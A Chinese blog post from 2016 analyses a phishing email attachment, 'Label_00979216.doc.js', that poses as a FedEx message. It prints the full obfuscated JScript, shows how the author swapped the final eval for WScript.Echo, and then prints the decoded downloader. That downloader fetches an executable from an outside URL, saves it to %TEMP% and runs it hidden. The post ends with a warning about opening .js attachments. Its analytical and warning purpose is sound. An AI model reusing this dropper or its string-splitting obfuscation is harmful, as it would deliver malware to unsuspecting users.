20160307

Windows Script Host 技术是一门很老的技术,它让 Windows 的自带脚本 VBScript 和 JScript 可以操作 Windows ActiveX 对象,这样的脚本具有本地权限,比如本地文件系统的访问,网络的访问等。我在邮件中收到一封来自联邦快递的邮件。附件为:Label_00979216.doc.js,很简单的混淆并压缩,代码如下,

var a5 = 'va';
var a3 = 'l';
var a1 = '';
var a4 = 'e';

function opx() {
    a1 += 's(';
    pfo();
};

function fef() {
    a1 += 'Strea';
    iq();
};

function ciq() {
    a1 += 'GET"';
    ch();
};

function m() {
    a1 += ' Act';
    es();
};

function obm() {
    a1 += ' v';
    sqf();
};

function fzw() {
    a1 += 'rn';
    yeu();
};

function pab() {
    a1 += 'Shel';
    xwm();
};

function cr() {
    a1 += '; xa.';
    elt();
};

function jj() {
    a1 += 'xa =';
    rd();
};

function ny() {
    a1 += 'ry ';
    wk();
};

function ke() {
    a1 += 'fn';
    lh();
};

function wbl() {
    a1 += 'e ==';
    fpg();
};

function ueh() {
    a1 += '9531';
    n();
};

function ma() {
    a1 += '= 0';
    cr();
};

function q() {
    a1 += '); xo';
    s();
};

function rb() {
    a1 += '2455';
    em();
};

function so() {
    a1 += '= ';
    upv();
};

function xo() {
    a1 += 'pandE';
    dyu();
};

function xtj() {
    a1 += 'r,fal';
    qj();
};

function j() {
    a1 += ');';
    lyg();
};

function dyr() {
    a1 += 'pt.';
    pab();
};

function dyu() {
    a1 += 'nvir';
    x();
};

function lyg() {
    a1 += ' }; }';
    pws();
};

function suv() {
    a1 += '00D10';
    tla();
};

function sdx() {
    a1 += '; ';
    wun();
};

function uet() {
    a1 += 'rnd';
    jp();
};

function exo() {
    a1 += 'n;';
    ht();
};

function wqb() {
    a1 += 'r)';
    whi();
};

function zh() {
    a1 += 'se';
    rj();
};

function zc() {
    a1 += '};';
    azk();
};

function elt() {
    a1 += 'saveT';
    qw();
};

function x() {
    a1 += 'on';
    jq();
};

function rj() {
    a1 += 'nd()';
    twi();
};

function bmc() {
    a1 += 'on';
    bq();
};

function xwm() {
    a1 += 'l");';
    obm();
};

function dt() {
    a1 += 'a.po';
    cn();
};

function yeu() {
    a1 += ' > 0';
    ws();
};

function ow() {
    a1 += 'xe",1';
    gw();
};

function bxl() {
    a1 += 'Strin';
    zko();
};

function le() {
    a1 += '); x';
    dt();
};

function nj() {
    a1 += 'p?id';
    ctl();
};

function a() {
    a1 += ' new';
    m();
};

function mok() {
    a1 += ' 1; ';
    hma();
};

function e() {
    a1 += 'Scri';
    dyr();
};

function qw() {
    a1 += 'oFi';
    kg();
};

function pc() {
    a1 += '38';
    adj();
};

function ruz() {
    a1 += ')+f';
    exo();
};

function yfs() {
    a1 += ' }';
    cw();
};

function kva() {
    a1 += 'L2.X';
    kf();
};

function ywg() {
    a1 += ',0,0)';
    ze();
};

function egd() {
    a1 += 'a.o';
    gz();
};

function bq() {
    a1 += '() ';
    mqo();
};

function yey() {
    a1 += 'dl(fr';
    fo();
};

function p() {
    a1 += 'ng';
    opx();
};

function gw() {
    a1 += ');';
    ne();
};

function jp() {
    a1 += '=583';
    ueh();
};

function ze() {
    a1 += '; ';
    ywx();
};

function wk() {
    a1 += '{ x';
    lf();
};

function mqo() {
    a1 += '{ if';
    u();
};

function hma() {
    a1 += 'xa.wr';
    oct();
};

function lyq() {
    a1 += 'MS';
    ta();
};

function fo() {
    a1 += ',fn,';
    ra();
};

function aa() {
    a1 += 's5-';
    k();
};

function lf() {
    a1 += 'o.';
    bqk();
};

function iec() {
    a1 += 'onse';
    l();
};

function pws() {
    a1 += '; t';
    ny();
};

function gz() {
    a1 += 'pen()';
    sdx();
};

function i() {
    a1 += 'yst';
    lg();
};

function la() {
    a1 += ' =';
    tbz();
};

function ta() {
    a1 += 'XM';
    kva();
};

function kf() {
    a1 += 'MLH';
    zpg();
};

function yt() {
    a1 += 'com/d';
    plz();
};

function ovq() {
    a1 += 'P%")+';
    bxl();
};

function ia() {
    a1 += ':/';
    zll();
};

function kg() {
    a1 += 'le(';
    ke();
};

function ff() {
    a1 += 'r ws';
    y();
};

function pp() {
    a1 += 'fn';
    ywg();
};

function n() {
    a1 += '","8';
    ym();
};

function g() {
    a1 += 'xo ';
    so();
};

function ng() {
    a1 += 'xo.';
    zh();
};

function mlz() {
    a1 += '("';
    ciq();
};

function ym() {
    a1 += '44';
    pc();
};

function kqc() {
    a1 += '09&';
    uet();
};

function omc() {
    a1 += '("W';
    e();
};

function wun() {
    a1 += 'xa.ty';
    tp();
};

function ctl() {
    a1 += '=54';
    pt();
};

function lg() {
    a1 += 'atec';
    ors();
};

function bmm() {
    a1 += 'XObje';
    rvo();
};

function zko() {
    a1 += 'g.fro';
    fr();
};

function ch() {
    a1 += ',f';
    xtj();
};

function l() {
    a1 += 'Body';
    le();
};

function jq() {
    a1 += 'mentS';
    jf();
};

function em() {
    a1 += '565';
    jet();
};

function cw() {
    a1 += ' catc';
    dig();
};

function yv() {
    a1 += 'e(92';
    ruz();
};

function twi() {
    a1 += '; ';
    oy();
};

function ws() {
    a1 += ') { ';
    zo();
};

function zpg() {
    a1 += 'TTP"';
    q();
};

function s() {
    a1 += '.onre';
    pao();
};

function rd() {
    a1 += ' new ';
    kh();
};

function vp() {
    a1 += 'XOb';
    dwx();
};

function vrm() {
    a1 += 'Act';
    v();
};

function oi() {
    a1 += 'ion ';
    ma();
};

function lvc() {
    a1 += 'D01';
    rb();
};

function pt() {
    a1 += '51';
    cg();
};

function bqk() {
    a1 += 'open';
    mlz();
};

function etm() {
    a1 += 'Run(';
    pp();
};

function hp() {
    a1 += '("AD';
    b();
};

function whi() {
    a1 += ' { }';
    ssb();
};

function v() {
    a1 += 'ive';
    bmm();
};

function w() {
    a1 += 'Stat';
    wbl();
};

function oct() {
    a1 += 'ite';
    pd();
};

function zll() {
    a1 += '/app.';
    aa();
};

function qj() {
    a1 += 'se); ';
    ng();
};

function plz() {
    a1 += 'ocume';
    wld();
};

function oy() {
    a1 += 'if (';
    fzw();
};

function b() {
    a1 += 'ODB.';
    fef();
};

function h() {
    a1 += 'ctio';
    o();
};

function zo() {
    a1 += 'ws.';
    etm();
};

function es() {
    a1 += 'ive';
    vp();
};

function r() {
    a1 += 'va';
    ff();
};

function aey() {
    a1 += 'rCod';
    yv();
};

function adj() {
    a1 += '33';
    fpe();
};

function tla() {
    a1 += '0D011';
    lvc();
};

function kh() {
    a1 += 'Acti';
    zn();
};

function ors() {
    a1 += 'hange';
    c();
};

function sqf() {
    a1 += 'ar fn';
    la();
};

function zr() {
    a1 += ' var ';
    jj();
};

function jn() {
    a1 += 'esp';
    iec();
};

function fpg() {
    a1 += '= 4';
    oh();
};

function iq() {
    a1 += 'm")';
    tgk();
};

function nyj() {
    a1 += 'ready';
    w();
};

function ht() {
    a1 += ' var ';
    g();
};

function k() {
    a1 += 'tech.';
    yt();
};

function ttg() {
    a1 += 'bject';
    hp();
};

function t() {
    a1 += 'ncti';
    bmc();
};

function bb() {
    a1 += 'xa.c';
    lfp();
};

function o() {
    a1 += 'n ';
    yey();
};

function tbz() {
    a1 += ' ws';
    fkc();
};

function jf() {
    a1 += 'tri';
    p();
};

function iiw() {
    a1 += '("';
    my();
};

function ssb() {
    a1 += '; ';
    zc();
};

function wq() {
    a1 += '0B';
    kqc();
};

function ra() {
    a1 += 'rn)';
    tux();
};

function oh() {
    a1 += ') {';
    zr();
};

function my() {
    a1 += 'http';
    ia();
};

function owg() {
    a1 += 'fu';
    t();
};

function lh() {
    a1 += ',2); ';
    bb();
};

function tux() {
    a1 += ' { ';
    r();
};

function wld() {
    a1 += 'nt.ph';
    nj();
};

function ywx() {
    a1 += '};';
    yfs();
};

function tgk() {
    a1 += '; x';
    egd();
};

function dwx() {
    a1 += 'ject';
    omc();
};

function lfp() {
    a1 += 'lose(';
    j();
};

function fpe() {
    a1 += '5.e';
    ow();
};

function upv() {
    a1 += 'new ';
    vrm();
};

function kag() {
    a1 += ' =';
    mok();
};

function ne() {
    this[a4 + a5 + a3](a1);
};

function rvo() {
    a1 += 'ct("';
    lyq();
};

function fr() {
    a1 += 'mCha';
    aey();
};

function dig() {
    a1 += 'h (e';
    wqb();
};

function u() {
    a1 += ' (xo.';
    nyj();
};

function y() {
    a1 += ' =';
    a();
};

function fkc() {
    a1 += '.Ex';
    xo();
};

function azk() {
    a1 += ' dl';
    iiw();
};

function tp() {
    a1 += 'pe';
    kag();
};

function pd() {
    a1 += '(xo.R';
    jn();
};

function pao() {
    a1 += 'ad';
    i();
};

function fs() {
    a1 += 'fun';
    h();
};

function c() {
    a1 += ' = ';
    owg();
};

function jet() {
    a1 += '24A07';
    wq();
};

function cn() {
    a1 += 'sit';
    oi();
};

function pfo() {
    a1 += '"%TEM';
    ovq();
};

function zn() {
    a1 += 'veXO';
    ttg();
};

function cg() {
    a1 += '515E1';
    suv();
};
fs();
View Code

虽然简单,但这样的代码不会被任何杀毒软件识别并查杀,稍看了看,属于字符串拼接为一个函数并 eval 执行,于是将最终执行前的函数:

function gw() {
    a1 += ');';
    ne();
};

改为:

function gw() {
    a1 += ');';
    //ne();
    WScript.Echo(a1);
};

复制出内容如下:

function dl(fr, fn, rn) {
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");
    xo.onreadystatechange = function() {
        if (xo.readyState === 4) {
            var xa = new ActiveXObject("ADODB.Stream");
            xa.open();
            xa.type = 1;
            xa.write(xo.ResponseBody);
            xa.position = 0;
            xa.saveToFile(fn, 2);
            xa.close();
        };
    };
    try {
        xo.open("GET", fr, false);
        xo.send();
        if (rn > 0) {
            ws.Run(fn, 0, 0);
        };
    } catch (er) {};
};
dl("http://app.s5-tech.com/document.php?id=XX51515E100D100D011D01245556524A070B09&rnd=5839531", "84438335.exe", 1);

似乎是远程下载一个文件写入本地,并执行。地址已经失效,于是没有下载作进一步的分析。

但提醒一下:双击打开 Js 扩展名的附件要保持留心。

原文地址:https://www.cnblogs.com/likun/p/5249151.html